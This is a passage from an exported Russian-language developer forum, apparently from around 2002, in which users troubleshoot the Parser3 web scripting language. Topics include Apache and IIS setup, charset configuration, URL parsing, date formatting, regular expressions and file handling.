	$.charset[koi8-r]\
	$.from[Вася <vasya@hotmail.ru>] \
	$.to[Петя <petya@hotmail.ru>] \
	$.subject[Тема]\
	$.body[Хочу перекодировать письмо в koi8] \
]\
\
где по доке:\
...например $.from[], $.to[], $.subject[] и т.д. \
$.charset[кодировка_письма] - если задан этот ключ, то письмо будет перекодировано в эту кодировку вместо заданной...\
 - и вываливается с ошибкой\
  transcodeFromUTF8 error: too big tmpVal(0x000E68BF)\
:(\
\
??? - я опять в чем-то не прав?\
\
2PAF виноват, проглядел, исправлюсь :)"
"3188","конечно неправ.\
очевидно, где-то забыт/потерян/перепутаны права на конфигурационный файл сайта, который задаёт $request:charset\
по-умолчанию считается, что кодировка документов = UTF-8, и что просите из UTF-8 перекодировать письмо в koi.\
очевидно, письмо вовсе не в UTF = ошибка."
"3189","Вот у меня что-то не получается в WinXP переименовать. И еще. Если не трудно, скиньте пожалста конфигурационный файл апача и парсера и тэ дэ? а то что-то не получается настроить хоть убей."
"3190","Тут мне админ сервера, на котором расположился мой forum.gfk.ru, написал, что IIS (5.0, все патчи, платформа - Win2000) с парсером, подключённым как ISAPI-модуль выжрал [b]260 МЕГАБАЙТ[/b] памяти, и разумно предположил, что \"где-то утекает\". Рестарт решил проблему. \
\
Кто-нибудь сталкивался с такой проблемой? Что, парсер надо пущать как \"isolated process\"? Или рестарт IIS'а в планировщик забить? \
\
ЗЫ. Есть ещё один issue, связанный с использованием изапи. Есть страница с вызовом $string[$form:search]. Когда я обращаюсь к ней как к /search/index.html?search=aaa, $string возвращает ааа, когда как к /search/?search=aaa - ничего не возвращает...\
\
"
"3193","Которое, если оно имеет место, надо бы было обозначить..."
"3194","Я наверно что-то недапонял. Метод @load_db служит для загрузки таблици из файла. @write выводит колличество строк, но ^db.count[] - тут происходит ошибка, почему?\
\
[code]\
# Пример кода\
\
@load_db[] # Загрузка таблици\
^if(def $onload){\
   ^db.offset[set](0) # Переход на первую строку\
}{\
   $db[^table::load[/db.cfg]] # Загрузка файла\
   $onload(1)\
}\
\
@write[]\
^load_db[]\
^db.count[] # Вывод колличества строк в таблице\
[/code]"
"3195","есть сайт сделанный по документации [url]http://ftp.lediankin.ru[/url] (именно http://) заходим в раздел новостей и нажимаем на любой из дней получаем либо данные либо ответ что новостей за указанный период нет. \
\
Заметте, что после выбора дня ссылка на раздел новости появляется!\
\
как сделать чтобы парсер отделял /news/ от ?date=xx чтобы всегда светился выбранный раздел?"
"3196","^if(in \"/news/\"){ \
   Мы в разделе новостей \
}{ \
   <a href=\"/news/\">Новости</a> \
} "
"3198","1.  Как установить Parser3 на Windows NT?\
2.  Какие системы должны быть установлены на WindowsNT,  чтобы  использовать Parser3? (Apache, JRun, compilers???)\
\
не программист анЯ"
"3199","Можно ли использовать parser на каком-нибудь хостинге(платном или бесплатном) или нет, а если да - то как? Или они должны сами поддерживать его, как Perl или PHP?"
"3201","1. Как установить парсер подробно написано в доке.\
2. Апач нужен и его можно запускать как угодно, правда я его у себя в локалке вынес в службу только тогда, когда мне надоела его иконка на таскбаре :)"
"3202","спасибо"
"3203","точно - libglib-1.3-11.dll"
"3204","это разрешение на запуск собственных cgi скриптов"
"3205","не на одном Apache свет клином сошелся, хотя Apache и лучше IIS"
"3206","ибо от веб-сервера ожидается работа в режиме 24x7"
"3207","тем, что у него уродские текстовые конфиги?"
"3208","пусть каждый выбирает то, что ему нравится."
"3209","IIS с ресурсами ведет себя так, что если поставить большую ожидаемую нагрузку, память не возвращается системе, а зажимается IIS'ом. если поставить поближе к реальной, IIS всё равно будет её зажимать, но в меньших объёмах.\
\
если скрипт написан неэффективно, никакие настройки не помогут."
"3210","это общеизвестная ошибка IIS, исправленная в его 5ой версии.\
\
я не знал, что руководство по Parser — список ошибок MS."
"3214","как с помощью ^match отделит /news/ от ?day=21 ?"
"3215","тоесть надо сделать так же как и в этом форуме\
вы находитесь на http://www.parser.ru/forum/?id=3214 и в навигации выделен раздел форум в независимости от того, что находится после /forum/"
"3217","Ибо in даст true даже для просто /forum/, ибо index.html (или какое у тебя там расширение)"
"3218","т.к. мало-ли какой мудрец что допишет в урл?"
"3219","если, допустим, вариантов обращения к index папки /forum/ много (?id=..., ?thread=..., ?search=... и т.д.), проще проверить так, как я сказал, а уж сам контент генерить на основе ^form:FIELD.int(0)... IMHO."
"3221","Сижу через прокси на работе. Называется http://terra.comprice.ru:3128/. Использую Windows Commander 5.0. В \"Firewall settings\" выбрана \"HTTP proxy with FTP support\", \"Host name\" - \"192.168.0.1:3128\". (Настройки ставил я, а не сис).\
 \
Как итог - чудесно переписывает файлы, но:\
1. Не создает каталоги - выдает ошибки и записывает файл типа C:\\WINDOWS\\TEMP\\FTPB2F3.TMP\
 \
А в этот файл записывается только информация о содержании каталога типа:\
\
<!-- HTML listing generated by Squid 2.3.STABLE3 --> <!-- Thu, 27 Jun 2002 12:53:29 GMT --> <HTML><HEAD><TITLE> FTP Directory: такая_то_директория</TITLE> </HEAD><BODY> \
<H2> FTP Directory: <A HREF=\"ftp://тут_он_пишет_адрес_FTP\">и_тут_тоже</A>/<A HREF=\"тут_он_пишет_каталог,_в_который_записываю\">название_каталога</A>/</H2> <PRE>\
<A HREF=\"../\"><IMG BORDER=0 SRC=\"http://terra.comprice.ru:3128/squid-internal-static/icons/anthony-dirup.gif\" ALT=\"[DIRUP]\"></A> <A HREF=\"../\">Parent Directory</A> \
<A HREF=\"forum0.zip\"><IMG BORDER=0 SRC=\"http://terra.comprice.ru:3128/squid-internal-static/icons/anthony-compressed.gif\" ALT=\"[FILE]\"></A> <A HREF=\"forum0.zip\">forum0.zip</A> . . . . . . . . . . . Jun 27 12:51      2k\
<A HREF=\"index.html\"><IMG BORDER=0 SRC=\"http://terra.comprice.ru:3128/squid-internal-static/icons/anthony-text.gif\" ALT=\"[FILE]\"></A> <A HREF=\"index.html\">index.html</A> . . . . . . . . . . . Jun 25 17:36      1k\
<A HREF=\"page1.php\"><IMG BORDER=0 SRC=\"http://terra.comprice.ru:3128/squid-internal-static/icons/anthony-unknown.gif\" ALT=\"[FILE]\"></A> <A HREF=\"page1.php\">page1.php</A>. . . . . . . . . . . . Jun 27 12:45     13k <A HREF=\"page1.php;type=a\"><IMG BORDER=0 SRC=\"http://terra.comprice.ru:3128/squid-internal-static/icons/anthony-text.gif\" ALT=\"[VIEW]\"></A> <A HREF=\"page1.php;type=i\"><IMG BORDER=0 SRC=\"http://terra.comprice.ru:3128/squid-internal-static/icons/anthony-box.gif\" ALT=\"[DOWNLOAD]\"></A>\
</PRE> <HR> <ADDRESS> Generated Thu, 27 Jun 2002 12:53:29 GMT by terra.comprice.ru (Squid/2.3.STABLE3) </ADDRESS></BODY></HTML> \
 \
2. Файлы не удаляет.\
\
Помогите, пожалуйста, чем сможете..."
"3222","Тогда меняй прокси или иди к админу - Not implemented значит \"твоя прокся такого делать не умеет\""
"3224","в общем разбираю УРЛ таким макаром:\
\
$myurl[$request:uri]\
$myurlp[^myurl.rsplit[/]]\
\
можно перебирать потом через .menu. но мне нужно обратиться к каждой части его примерно так $myurlp.piece[2] - возможно ли это?\
"
"3227","Я пересел на второй Апач перенес документы в другое место и\
парсер выдает такую ошибку\
\
Parser3: Error in the code\
read failed: No such file or directory (2), actual filename 'e:/www/cgi-bin/parser3/windows-1251.cfg'\
Error caused by the operator: e:/www/cgi-bin/parser3/windows-1251.cfg\
\
Error in file: /www/cgi-bin/parser3/parser3.conf in line: 10\
\
Exception Type: file.missing \
\
что делать?\
с уважением Ruslan666... "
"3228","он же говорит тебе: файл с кодировкой вин-1251 не найден."
"3229","делаю флип\
$myurlp[^myurl.rsplit[/]]\
$myurlf[^myurlp.flip[]]\
$myurlf[1] ---- и тут ничего не выдаётся!?"
"3231","Открой [url=http://www.parser.ru/docs/lang/tableflip.htm]flip. Транспонирование таблицы[/url] и [url=http://www.parser.ru/docs/lang/tablefields.htm]Получение содержимого столбца[/url] и подумай, как и что надо просить от транспонированной таблицы."
"3232","но в доке в разделе Флип о таком синтаксисе не упоминается."
"3233","Нам теперь в каждом разделе написать, как обращаться к колонкам таблицы, что-ли? ;-)\
Там вроде-бы сказано, что создается nameless таблица, то есть, с колонками 0, 1, 2... (что такое nameless описано в [url=http://www.parser.ru/docs/lang/tablecreate.htm]create. Создание объекта на основе заданной таблицы[/url])...\
Мне кажется, этого достаточно."
"3235","пишу\
$name[^untaint[file-spec]{$name}]\
и ничего не происходит.\
выдает как и было: 1_2B1_logo.ai\
а нужно: 1+1_logo.ai"
"3237","Возможно ли подставлять сюда переменные?\
\
PS Не могли бы Вы поделиться своим форумом? :) Или дайте намек, как из гостевой сделать форум?\
\
Спасибо."
"3238","<SPAN style=\"white-space:nowrap;\">bla bla bla</SPAN>"
"3239","http://www.parser.ru/forum/?id=1429\
\
Проверь переменную сервера [i]HTTP_PARSER_ROOT_CONFIG[/i]. Если [i]parser3.conf[/i] лежит вместе с [i]parser3.exe[/i], то у меня работает такой код:\
\
[code]SetEnv HTTP_PARSER_ROOT_CONFIG \"parser3.conf\"[/code]"
"3243","Может есть способ?\
\
Или мне потом полученный html снова парсить на [\\s+</td>] ?"
"3244","в языке file-spec не бывает '+', подробная таблица в документации.\
общая идея: несмотря на то, что крайне не рекомендуется записывать на диск файлы, содержащие кривые символы, люди всё равно хотят это делать. чтобы уберечь их самих от дальнейших проблем[отдаванием этих файлов по HTTP] parser явно запрещает использовать такие символы в именах файлов/каталогов.\
несмотря на то, что apache и IIS умеют отдавать файлы с '+' в названии это противоречит HTTP стандарту в части URI."
"3245","поскольку если имя вы получите от пользователя, то всегда знайте, что он может написать туда users."
"3246","способ всегда есть: возьмите исходники libxml и поправьте в них режим вывода html с indent=yes, чтобы учитывал </td>.\
\
однако мы пользуемся другим вариантом: в отладочном варианте сервера выдаём не transformed, а исходный XML документ с content-type=text/xml, MSIE его расцвечивает и древовидно показывает."
"3247","2*2=\
[code]\
$response:body[^transformed.string[\
    $.method[xml]\
]]\
[/code]"
"3249","Может ли парсер обрабатывать запрос к несуществующей странице?\
Можно ли передать параметр в названии файла, т.е., допустим, на запрос страницы /news/date20020623.html должны отображаться новости за 23 июня 2002 года.\
\
Спасибо."
"3250","Да может у меня сайт toplist.hoha.ru так и работает. Испоьзуй функцию @unhandled_exception[exception;stack]"
"3252","или /news/issue_5323.html или /news/issue-5323.html или /news/5323/ и т.д. ну вообщем ты понял."
"3253","Но ведь не раболтает подстановка переменной (как я написал). Я хочу на 1 скрипте обрабатывать несколько книг. Может я чего там забыл указать?"
"3254","А почему нельзя сразу все описать грамотно в инструкции!?"
"3256","#----------------------------------------------------\
\
@total_book[name_book]\
\
^connect[$connect_string]{\
	^if(def $total){}{\
$total[^int:sql{select count(*) from $name_book}]\
	}\
\
}\
#----------------------------------------------------\
\
Затем обращаемся (база есть):\
^total_book[book1]\
\
Не раболтает. Прописываешь четко без переменной, срабатывает. Может что-то упустил?\
\
Также хотел вопрос один задать. Сколько посещений сможет выдержать ресурс, сделанный по Вашей технолгии? Можно ли строить на нем порталы? Больше ли он загружет сервер, если, скажем, сравнить его с Perl или PHP? А также с точки зрения безопасности..."
"3257","то в <span> это не поддерживается - он не block-level элемент, inline-level (а по CSS1 white-space только для block-level, да и по CSS2, кажись тоже) ;-)\
на W3C была мощная дискуссия по этому поводу и такая жесткая привязка, кажется, была признана ошибочной...\
в общем, надо проверять, какие браузеры поддерживают в <span>. Думаю, подавляющее меньшинство :("
"3258","как не работает-то?\
если выдает sql ошибку - то по строке запроса должно быть все понятно.\
\
если как-то еще, то... как?\
\
синтаксис верный, у меня подобные конструкции работают без проблем.\
\
тока вместо ^if(def $total){}{...} лучше наверное так:\
^if(!def $total){...}\
или просто ^if($total) если у тебя в $total может жить только переменная табличного типа.\
\
http://www.mts.ru/ и др., см. в портфолио на design.ru... прикидывай нагрузку...\
\
"
"3260","что значит «не работает» понять трудно.\
\
у меня вот так «не работает»:\
[code]\
Table 'tests.book1' doesn't exist\
select count(*) from book1\
[/code]"
"3261","динамические сайты с большой нагрузкой надо делать с ^cache, и использовать не @USE, а ^use изнутри ^cache, работает успешно.\
\
сравнивать — дело тонкое, кто возьмётся, напишите."
"3262","Да, получилось. Ошибка была в том, что я не везде передавал переменную:\
\
^навигация[name_book]\
^показать_записи[name_book]\
^навигация[name_book]\
\
Спасибо.\
\
А насчет форума не поможете?"
"3263","А без ^cache на сколько хватит? С какого порога необходимо(!) его использовать?"
"3264","Конечно, чтобы использовать его наиболее эффективно нужно рассматривать конкретную задачу, но как сделать очень просто и очень быстро - в примерах."
"3265","Кодом поделиться не могу, т.к. код специализированый, выдает xml + заточен под текущий imprimatur. ;-)"
"3266","http://imprimatur.ru/ --> Was ist das? \
ночью в полночь за амбаром?"
"3268","И ЧТО ЖЕ МНЕ ДЕЛАТЬ !???\
В очередное раз на паскале писать ?\
Порядком поднадоедает... может вовсе на паскаль переходить ?\
почему в такой прелести как парсер нельзя реализовать несколько прихотей ? тем более, что массовых..."
"3271","По моему в твоем случае нужно написать на чем-нить скрипт, запустить его чтобы он переименовал уже созданные файлы в нормальное, и потом юзать парсер.\
\
Или на паскаль переходи, тебя-же никто не заставляет писать на парсере."
"3272","Все технологии студии описаны - понятно зачем они и как с ними работать. А про imprimatur ничего не сказано. Из обрывков (мыслей) фраз понятно что он позволяет управлять контентом сайта, работает с xml в KOI-8, очень важен и необходим, и без него вообще никак.\
А как он динамическим контентом управляет то? или он xsl файлы генерирует? система администрирования?\
\
Это не более чем любопытстыо. Наверное все рано или поздно приходят к необходимости создания систем администрирования сложнее чем страница со ссылкой \"убить сообщения\" и полем для ввода новости. Интересно что делают и думают люди на эту тему. (особенно если люди профессионалы с большим опытом работы).\
\
Если это тайна или не хочется ничего говорить - то не надо говорить, если есть что сказать - то всегда интересно узнать..."
"3273","если вы таки умные и знаете уже что такое mod_rewrite\
скажите как делаются такие урлы на ленте.ру и что из этого следует\
и какой версией mod_rewrite они пользуются? ;-)\
\
http://www.lenta.ru/2002/06/20/\
http://www.lenta.ru/mideast/2002/06/20/itamar/"
"3276","в парсере-модуле под apache win32 глюк\
\
вообщем я все правильно прописал в parser3.conf пути к кодировкам и мне парсер все равно выдает ошибку:\
conf/parser3.conf(8): 'windows-1251' unknown charset  type: parser.runtime\
\
но если, не выключая apache заново переписать parser3.conf поменяв кодировку на UTF-8\
потом опять запустить тестовую страничку\
потом в parser3.conf поменять кодировку на windows-1251 все становится нормально\
\
когда снова перезапустишь apache приходиться повторять тоже самое"
"3277","Но ^cache[] я всё-таки прикручу..."
"3278","$form:auth.name - не сработает, т.е. сработает, но выдаст ошибку.\
А какой смысл так именовать?\
Хитрым способом создать хэш \"auth\", где ключи \"name\" и \"passwd\" ?\
А как?"
"3279","Точка-то служебный символ...\
\
А если серьезно, то $form:[auth.name] и $form:[auth.passwd]"
"3281","А хэш все-таки интересно такой получить.\
Если у меня в форме несколько групп полей \
main.имя_поля и ext.имя_поля - получить два хэша \
main и ext, где ключи имена полей...\
Красиво ведь... \
// создать хэши и перекидывать значения попорядку некрасиво..."
"3283","[url=http://www.parser.ru/docs/lang/formfields.htm]fields. Все поля формы[/url] - чем не хэш?\
\
А хочешь хэш именно с auth-данными, делай так:\
[code]\
<form>\
<input name=\"name\" />\
<input name=\"passwd\" />\
...\
</form>\
\
$auth[^hash::create[]]\
$auth[\
   $.name[]\
   $.passwd[]\
]\
$auth[^form:fields.intersection[$auth]]\
[/code]\
Вот и получили хэш $auth с полями $.name и $.passwd, заполненными данными из формы... Надеюсь, идея ясна?"
"3299","Есть конторы, которые разрешают использовать только скрипты, написанные на Perl ...\
С парсером там будут некоторые сложности :-)\
\
P.S. Сталкивался с такими, очень неприятно бывает, особенно когда нетерпеливый клиент уже заключил договор на пару лет."
"3300","Как создать средствами парсера подкаталог в заданной папке вебсервера?"
"3301","[b]Ситуация.[/b]\
[quote]\
В .xml файле хранятся какие-то данные, в т.ч. текстовый блок, скажем, [i]описание чего-либо[/i]. При выводе информации юзеру, некоторые слова должны быть слеплены с[color=\"#666666\"]&nbsp;[/color]помощью &nbsp; или [color=\"#666666\"]<nobr>[/color]не должны переноситься[color=\"#666666\"]<nobr>[/color].\
[/quote]\
Можно ли хранить такое оформление в XML, или нужно обязательно делать именно через xslt-преобразование? Я понимаю, что держать оформление вместе с данными не в духе XML, но когда используешь XML как базу данных, так имхо, удобнее. Да и работать, наверное, побыстрее будет.\
\
Наверняка есть красивое решение."
"3302","а такой вопрос, если встраиват этот код для всех страниц, то главная будет всегда выделяться так как она находится в /\
и in \"/\" всегда будет правдой!\
что с этим сделать?"
"3304","...если, например, парсер как [i]cgi[/i] запущен от имени [b]nobody[/b], как на Зеноне. Потом такой каталог нельзя удалить без помощи админов :( И файлы тоже... блин... :("
"3305","Над каждым разделом меню стоит условие указанное ниже, но почему то сравнение происходит неправильное хотя визуально пишет одно и тоже!\
[url=\"http://ftplediankin.ru/news/\"]Пример[/url]\
\
Код такой :\
[code]\
@url_n[]\
$str[$request:uri] \
$parts[^str.lsplit[?]]\
$parts.piece\
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%]\
^if(^url_n[] eq $sections.uri){  \
    <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
    <nobr>$sections.name</nobr> \
    </td> \
}{ \
    <td width=\"$cell_width\" align=\"middle\">\
    ^url_n[] $sections.uri<br>\
    ^if(^url_n[] eq $sections.uri){true}{false}<br><a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
    </td>\
[/code]"
"3306","[url=\"http://ftp.lediankin.ru/news/\"]пример[/url]"
"3307","Подскажите подробнее как установить парсер под Win98/200/XP для отладки на локальной машине\
\
Веб сервер Apache (rus)\
\
У провайдера по статье Егорова вроде все получилось а на локальной , ну никак.\
\
С уважением Андрей Дойников"
"3308","чтобы 29 июня 2002 г....\
может есть функция? или придётся вручную анализом строки?"
"3309","Entity еще никто не отменял. Тэги тоже...\
Если надо в тексте &nbsp; - храни его в этом тексте. Не думаю, что есть смысл делать \"типографику\" средствами XSLT..."
"3311","Твой ^url_n[] возвращает почти то что нужно, но ставит лишний перевод строки перед $parts.piece. Точнее, ставит 2, но они оптимизируются.\
\
Проверь так: \"^url_n[]\" - именно в кавычках (или любых других символах) - увидишь\
\" /news/\"\
\
Переделать так:\
[code]\
@url_n[]\
$str[$request:uri] \
$parts[^str.lsplit[?]]\
$result[$parts.piece]\
[/code]"
"3312","А дальше работаешь с классом date, что совсем другое дело ;-)\
Только вот функцию, которая выводит русские названия месяцев придется таки написать самому - невелика проблема, надеюсь, перевести номер месяца в его русское название ;-)\
\
"
"3313","Ты же на каждой странице должен проверять (in \"/то_где_сейчас/\"), т.е. для форума: in \"/forum/\", для новостей: in \"/news/\" и т.д. - а вот проверять in \"/\" на каждой странице совсем не надо, а если проверяешь, то он (индекс) всегда в директории один ;-)"
"3314","спасибо.\
\
только в хелпе упоминаются всего лишь такого вида конструкторы:\
^date::create(year;month;day;hour;minute;second) \
^date::create(year;month;day) \
^date::create(year;month) \
\
и ничего не сказано а \"базовском\" формате :-) "
"3315","Точнее, 25 апреля...\
Блин, я даже не могу быть уверенным, что в скомпилированных версиях это есть :(\
\
Сверь версии (свою и на сайте) - может они различаются ;-)\
"
"3316","поторопился, оказалось что не работает.\
\
дата передаётся через параметр в функцию, а там из нее создаётся объект дэйт.\
@getdate[d]\
$date[^date::create[$d]]   ---- здесь спотыкается"
"3317","Не вкомпилено... В исходниках есть точно, но предлагать собрать не буду - не всем нравятся такие предложения\
\
Вот те парочка макросов:\
# это пихаем в @auto[], -> заменяем на табулятор\
$month[^table::create{num -> name -> name_r\
1 -> январь -> января\
2 -> февраль -> февраля\
3 -> март -> марта\
4 -> апрельмапреля\
5 -> май -> мая\
6 -> июнь -> июня\
7 -> июль -> июля\
8 -> август -> августа\
9 -> сентябрь -> сентября\
10 -> октябрь -> октября\
11 -> ноябрь -> ноября\
12 -> декабрь -> декабря}]\
\
@mysql2date[mysql;full;with_time][d;dt;tm]\
###########################################################\
# ^mysql2date[2002-06-29 13:35:00] возвращает строку 29.06.2002\
# ^mysql2date[2002-06-29 13:35:00;yes] возвращает строку 29 июня 2002\
# ^mysql2date[2002-06-29 13:35:00;;yes] возвращает строку 29.06.2002 13:35\
# ^mysql2date[2002-06-29 13:35:00;yes;yes] возвращает строку 29 июня 2002 13:35\
# вместо \"yes\" можно использовать любую строку - проверяется просто def/undef\
^if(def $mysql){\
	$dt[^mysql.lsplit[ ]]\
	$dt[^dt.piece.lsplit[-]]\
	$dt[^dt.flip[]]\
	^if(def $full){\
		^if(^month.locate[num;^dt.1.int[]]){\
			$d[^if(^dt.2.int[]){^dt.2.int[] }$month.name_r ^dt.0.format[%04d]]\
		}{\
			$d[^if(^dt.0.int[]){^dt.0.format[%04d]}]\
		}\
	}{\
		$d[^if(^dt.2.int[]){^dt.2.int[]-}^if(^dt.1.int[]){^dt.1.format[%02d]-}^if(^dt.0.int[]){^dt.0.format[%04d]}]\
	}\
	^if(def $with_time){\
		$tm[^mysql.lsplit[ ]]\
		^tm.offset[set](1)\
		$tm[^tm.piece.lsplit[:]]\
		$tm[^tm.flip[]]\
		$result[$d, $tm.0:$tm.1]\
	}{\
		$result[$d]\
	}\
}{\
	$result[]\
}\
\
изменяй как хочешь ;-)\
"
"3319","спасибо, работает."
"3320","если устанавливаешь как модуль, то прописывай в httpd.conf:\
LoadModule parser3_module [путь]/ApacheModuleParser3.dll\
ParserRootConfig [путь]/parser3.conf\
AddHandler parser3-handler .html\
\
потом скачивай ГКФ и копируй конфигурационыый файл windows-1251.cfg\
затем прописывай parser3.conf:\
$CHARSETS[\
$.windows-1251[путь/windows-1251.cfg]\
]\
\
#source/client charsets \
$request:charset[windows-1251] \
$response:charset[windows-1251] \
\
и все должно быть ОК"
"3321","Кто сталкивался с такой проблемой, подскажите плиз, почему не срабатывает код:\
\
^if(^form:image.text.match[^^.{6}JFIF]){\
	JPEG\
}{\
	Ne JPEG\
}\
\
Ту Л."
"3322","Я попробовал распечатать то, что получается после $form:image.text - там только первые 4 символа. \
\
Пятый символ имеет код 00, видимо поэтому преобразование .text считает его концом строки...\
\
Причем то-же самое происходит и при загрузке файла (даже в режиме binary)\
\
Похоже на нехорошую фичу парсера... Скажем ПАФу.\
"
"3323","Видимо, когда изменений/дополнений хватит, чтоб увеличить номер версии ;-)\
Тут уж пусть PAF ответит.\
Надеюсь, скоро."
"3324","Честно сказать, операцию с JPeg писал просто по аналогии с GIF\
У меня давно (еще на втором парсере, у которого был тот же глюк с символом \\x00 в теле файла) была задача отличить GIF от JPeg при отсутствии третьего. Понятно, что раз реализовался GIF, больше мне ничего не надо было.\
А вот когда писал аналогию в форум - наступил на застарелые грабли - то бишь на \\x00 ;-)\
Так что, пока, увы, это не работает..."
"3330","При селекте, например, так SELECT DATE_FORMAT(date, \"%d/%m/%Y, %H:%i\") as date from yourtable;\
\
Правда, русских названий месяцев и дней недели тебе таки макаром всё равно не видать...."
"3331","Но у меня всё от моего имени и запускается..."
"3332","Если точнее, то он сам создается когда ты пытаешься  сохранить файл и если у парсера есть на это права...\
\
Если ты удаляешь парсером последний файл в каталоге - то и сам каталог удаляется.\
\
Мне это тоже было непривычно :)\
Оказывается, это даже нормально, и не создается куча пустых каталожек.\
\
Один раз только это оказалось неудобным: мне надо было пускать внешнюю прогу (exe), чтобы она сгенерила кой какие файлики, и этой проге нужно было обязательно существование директории...\
\
Пришлось извращаться...\
Пускал bat, из него делал mkdir и run .exe\
\
Можно было сделать и так: создать временный файл, создалась бы директория, пустить прогу, она сделала бы свои дела, удалить временный файл...\
\
Повторю: мне это потребовалось ЕДИНОЖДЫ"
"3333","Ты можешь написать скрипт на [i]perl[/i], к примеру, который будет выполнять файловые операции. И пользовать его через ^file::exec или ^file::cgi. Или вообще сделать свой класс для работы со скриптом."
"3334","А что мешало не удалять файл, которым создавалась директория? ;-)\
\
И потом, если в эту директорию сам парсер потом положит что-то еще (типа, пользовательский аплоад), то после выполнения этого аплоада можно и \"файл-создатель\" придавить - директория-то уже не пуста остается..."
"3335","...\
3.\
может быть, если такая проблема будет у многих, сделаю я.\
===\
\
Можно перекомпилить и выложить для скачивания версию парсера для юникса с замененной переменной DOCUMENT_ROOT на, к примеру, DOCUMENT_SITE? А DOCUMENT_SITE можно уже будет прописывать в .htaccess и работать как все нормальные люди :-)\
\
Чую - не дождаться от сеппорта www.net.ru'шного позитива, а у них, тем не менее, много народа хостится :-("
"3336","пишу:\
\
@tratata[]\
\
^for(i)[1;10]{\
\
hz hz hz \
^if(uslovie){^tratata[])\
\
}\
\
Оно что, переменную i во вложенном вызове старую использует ???\
Потому как у меня только первый цикл рекурсии проходиться ...\
"
"3337","Цикл написал не верно ^for[i](1;2){}"
"3338","нужно было так писать:\
@tratata[][i]\
\
локльная переменная блин...\
\
с циклом все в порядке."
"3339","В течении недели выложите ?"
"3340","Допустим, есть папка с кучей xml-файлов такой структуры:\
[code]\
<document>\
   <header>\
      ~1kb\
   </header>\
   <body>\
      ~50kb\
   </body>\
</document>\
[/code]\
\
Как мне построить оглавление, выдергивая из [i]header[/i] каждого файла некоторые данные, но так, чтобы не грузить весь xml-файл (чтобы сделать ^xnode.selectString[], например)."
"3341","Ура!!! вроде заработало\
\
Спасибо!\
\
А куда драйверы для MySQL кидать?\
\
на странице для скачивания внизу написано , что в c:\\winnt\\parser3\\lib? но там парсер его не находит."
"3342","правильно ли я понимаю, что если SQL.connstring всегда одна и та же, то это соединение кэшируется. так вот, что значит \"кэшируется соединение\"?"
"3343","что значит английское слово text все присутствующие знают?\
и чем оно от слова binary отличается?"
"3344","Есть строка : $str[1a3a5a55a22a3a41a2]\
Пол ночи мучаюсь !!! как взять из нее последнее десятичное число ?"
"3345","попробуй кинуть в conf"
"3346","Не создаётся. \
У меня есть web-based файл менеджер, примитивненький, но работающий. Файлы он закачивать умеет и делает это успешно.\
Я пытаюсь закачать на сервер файл под именем \"новаяпапка/мойфайл.html\" - директория \"новаяпапка\" таким макаром не создаётся...\
"
"3347","на перле это будет так, как это будет на парсере\
предлагаю додумкать самому\
\
$str = \"1a3a5a55a22a3a41a3332ff\";\
\
if ($str =~ /(\\d+)[^\\d]*$/) {\
        print $1;\
}"
"3349","([0-9]+)([^^0-9]?)^$ - вроде так - я не проверял"
"3351","а нам нужно точно :-)\
\
поправим и всё будет работать\
\
([0-9]+)([^^0-9]*)^$"
"3353","При каждом вызове ^connect происходит соединение с базой данных (попытка обратиться по указанному адресу, проверка имени пользователя и пароля, установка нужной базы в качестве текущей...) Это операция очень медленная...\
\
Кэширование коннекта означает то, что в течение какого-то времени своей жизни (жизнь: один вызов для CGI, для модуля - с момента запуска сервера до его закрытия/падения ;-)) программа держит коннекты \"открытыми\" и когда встречает очередной ^connect, сначала проверяет, а не открывали ли мы недавно такое соединение, и, если открывали, отдает идентификатор уже открытого, вместо того, чтобы открывать новое. Экономится время. Ну а \"время жизни\" такого кэшированного коннекта определяется где-то то ли в базе, то ли в драйвере - толком не знаю - может PAF прокоментирует. Когда это время истекает, кэш соединение закрывается, инфа о нем удаляется - все, нет его больше. Для CGI, скорее всего, кэши коннектов будут жить в течение всего времение его выполнения - все-таки очень не долго скрипт выполняется."
"3355","Но не очень приятно, что имея возможность взять файл бинарно, но потом к этой бинарности никак не обратиться... \
Может, хоть превращать \\x00 в \\x20, как это было во втором парсере при загрузке файла?"
"3356","у меня вот такая структура папок:\
/home/design/cgi-bin/\
            /htdocs/\
В /htdocs лежат все html и файлы парсера, когда я хочу запустить скрипт из /cgi-bin/ то указываю:\
\
^file::exec[/cgi-bin/images.pl;img=1.jpg]\
\
а он выдает ошибку:\
\
stat failed: No such file or directory (2), actual filename '/home/design/htdocs/cgi-bin/images.pl'\
/home/design/htdocs/cgi-bin/images.pl\
\
/home/design/htdocs/new.html(44)\
\
Оно и понятно что путь не тот, но как сделать чтобы он скрипты прямо из /cgi-bin пускал?"
"3357","определять таким образом какой именно файл загрузил пользователь не правильно.\
во-первых потому что пользователя может загрузить и совершенно нормальный файл, но твоя программа не может правильно определить какого именно типа загрузили файл.\
во-вторых потому что давным давно придумали для идентификации типа файла давать ему расширение.\
в-третьих не нужно тратить время на совершенно не нужный функционал, от которого нету никакой реальной пользы.\
в-четвёртых, если хочется тратить время на анализ заголовков файлов, то нужно это делать со знанием структуры этих графических форматов, а не применять какие-то сомнительные алгоритмы.\
\
я так думаю."
"3358","Если я хочу положить файл с именем \"newdir/newfile.txt\", что, по идее, должно создать папку newdir и положить в неё newfile.txt, то  парсер папку не создаст, и, для остроты ощущений, затрёт newfile.txt, буде он там уже лежать..."
"3359","Надо быстро решить задачу, а без документации не могу додуматся, как.\
Задача следующая - есть XML документ и есть XSL преобразование, в котором описан некий параметр -\
<xsl:param name=\"current_id\" select=\"''\"/>\
т.е по умолчанию он пустой.\
Как используя средства парсера, изменить значение параметра в данном XLS преобразовании, чтобы потом со спокойной душой запустить xdoc.transform ? Буду ну очень благодарен за ответ"
"3360","Давай посмотрим по пунктам:\
1. \"Правильный\" файл с неправильным заголовком по определению НЕ правильный.\
2. Расширение для файла имеет исключительно визуальный смысл. Многим системам нет никакого дела до расширения файла. Правильные системы так вообще хранят всю информацю о типе файла и софте для работы с ним в самом файле. И не надо путать расширение как таковое с привязкой MIME-типа к некоторой последовательности символов в конце названия файла. Попробуй переименовать d-t.gif в d-t.pdf, а потом отдать его по HTTP. Прощай, Acrobat Reader.\
3. Если ты не видишь реальной пользы - не значит, что ее нет совсем.\
4. Про сомнительность: покажи GIF, который \"не начинается\" с букв GIF; JPeg, в котором 7-10 символы не JFIF; TIFF, который не начинается с MM и т.д.?"
